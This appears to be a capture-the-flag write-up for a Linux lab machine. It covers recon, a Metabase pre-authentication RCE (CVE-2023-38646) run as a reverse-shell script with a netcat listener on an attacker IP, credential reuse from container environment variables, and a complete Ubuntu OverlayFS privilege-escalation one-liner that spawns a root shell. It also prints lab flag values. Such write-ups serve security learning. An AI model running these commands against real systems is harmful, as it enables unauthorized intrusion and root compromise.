OS: Linux

Difficulty: Easy

Author: 7u9y & TheCyberGeek

Release Date: October 7, 2023

Recon

nmap

$ nmap -sC -sV 10.10.11.233

We can see there is a http page running on port 80
Also we add the domain to the /etc/hosts file

Web Page

After looking around the website, when I pressed the login button, it took me to the data.analytical.htb subdomain
So we update the hosts file again and we get a login page

The login page:

After searching for a Metabase exploit, I came across CVE-2023-38646

This vulnerability allows us to execute code without any authentication

Exploit

setup-token

We head to the url specified in the previous link (data.analytical.htb/api/sessions/properties) and search for setup-token

As we can see, the setup-token is leaking, which means it is vulnerable to the exploit

Run the exploit

Download the exploit

Setup a netcat listener.

$ nc -lvnp 1234

While the listener is running, run the exploit

$ python3 CVE-2023-38646-Reverse-Shell.py --rhost http://data.analytical.htb/ --lhost <Attacker IP> --lport 1234

After the exploit runs, we get a shell as the user metabase.

Docker Container

We are now in a docker container.
However, if we check the environment variables, we get a user and password

$ env

SSH and user flag

We can now use the credentials obtained to ssh as the user metalytics

$ ssh metalytics@10.10.11.233 

We are now logged in as metalytics.

$ whoami
metalytics 

We can now get the user.txt flag

$ cat /home/metalytics/user.txt
a6c6422a0c214ffd37f50a632abeb48d

PrivEsc

Ubuntu LPE

No sudo commands can be run.
I searched for exploits on the running OS version, which is 22.04.2-Ubuntu

$ uname -a

I found this Ubuntu LPE exploit

First i tried to run the command “id” and see if I would get root back

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("id")'

We got the root id, which means the command is being executed as root

So I change the command to run a bash shell

unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'

We now have a shell as root

$ whoami
root

All we have left to do is get the root flag

$ cat /root/root.txt
e7cea9c28a9c3460c2fd69964833561b